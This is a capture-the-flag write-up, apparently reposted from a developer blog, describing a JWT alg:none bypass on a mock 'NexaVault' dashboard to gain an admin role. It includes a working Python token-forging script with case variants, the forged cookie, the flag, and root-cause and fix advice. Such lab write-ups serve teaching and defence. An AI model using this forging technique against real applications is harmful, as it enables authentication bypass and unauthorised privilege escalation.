FAM CTF : The Vault Door Writeup

FAM CTF : The Vault Door Writeup

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user (strawhat) and captured the request to /famctf/dashboard: Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Enter fullscreen mode Exit fullscreen mode Decoding the JWT: Header { "alg": "HS256", "typ": "JWT" } Enter fullscreen mode Exit fullscreen mode Payload { "sub": "strawhat", "role": "user" } Enter fullscreen mode Exit fullscreen mode The dashboard UI showed an "Admin Vault" card locked behind Admin only, confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none, an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg": "none", "typ": "JWT" } Enter fullscreen mode Exit fullscreen mode Forged payload: { "sub": "strawhat", "role": "admin" } Enter fullscreen mode Exit fullscreen mode Forging Script import base64, json def b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b'=').decode() header = {"alg": "none", "typ": "JWT"} payload = {"sub": "strawhat", "role": "admin"} h = b64url(json.dumps(header, separators=(',', ':')).encode()) p = b64url(json.dumps(payload, separators=(',', ':')).encode()) # alg:none tokens carry an empty signature segment (trailing dot, no bytes after it) forged_token = f"{h}.{p}." print(forged_token) Enter fullscreen mode Exit fullscreen mode Output (used as the nx_access cookie value): eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJhZG1pbiJ9. Enter fullscreen mode Exit fullscreen mode The script was also parameterized to emit None and NONE casing variants, since some JWT libraries do case-sensitive matching on alg and only reject the lowercase none: for alg_variant in ("none", "None", "NONE"): header = {"alg": alg_variant, "typ": "JWT"} h = b64url(json.dumps(header, separators=(',', ':')).encode()) print(f"{alg_variant}: {h}.{p}.") Enter fullscreen mode Exit fullscreen mode The lowercase none variant was the one accepted by the server. Swapped the forged token in as the nx_access cookie value and reloaded /famctf/admin. Result With the forged cookie set, the dashboard itself reflected the privilege escalation - the "Admin Vault" card, previously locked with an Admin only badge, was now accessible, and a new ADMIN section appeared in the sidebar (Vault) alongside an ADMIN badge next to the username in the navbar. The Access Level card confirmed: ADMIN. Navigating to /famctf/admin returned: Identity verified - elevated access granted for strawhat Enter fullscreen mode Exit fullscreen mode FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d} Enter fullscreen mode Exit fullscreen mode Root Cause Server-side JWT verification trusted the alg field from the attacker-controlled header instead of enforcing a fixed expected algorithm (e.g. always verify with HS256 and the server's own secret, regardless of what the token claims). This is the classic JWT algorithm confusion / alg:none vulnerability (CWE-347). Fix Never derive the verification algorithm from the token itself - hardcode the expected algorithm (HS256) server-side and reject anything else, including none. Use a JWT library configuration that requires an explicit allow-list of algorithms (most modern libraries support this, e.g. jwt.verify(token, secret, { algorithms: ['HS256'] }) in jsonwebtoken). Treat role/privilege claims as sensitive - consider keeping authorization state server-side (session store) rather than trusting client-held tokens for privilege escalation-sensitive decisions. Tools Used Browser DevTools / Burp Suite (cookie interception & editing) jwt.io Debugger (payload/header inspection) Python (base64, json) for manual token forging

Original Source

Read the full article at Dev →

KhanList aggregates and links to publicly available news content. We do not host full articles from third-party sources. Always verify important information with original sources.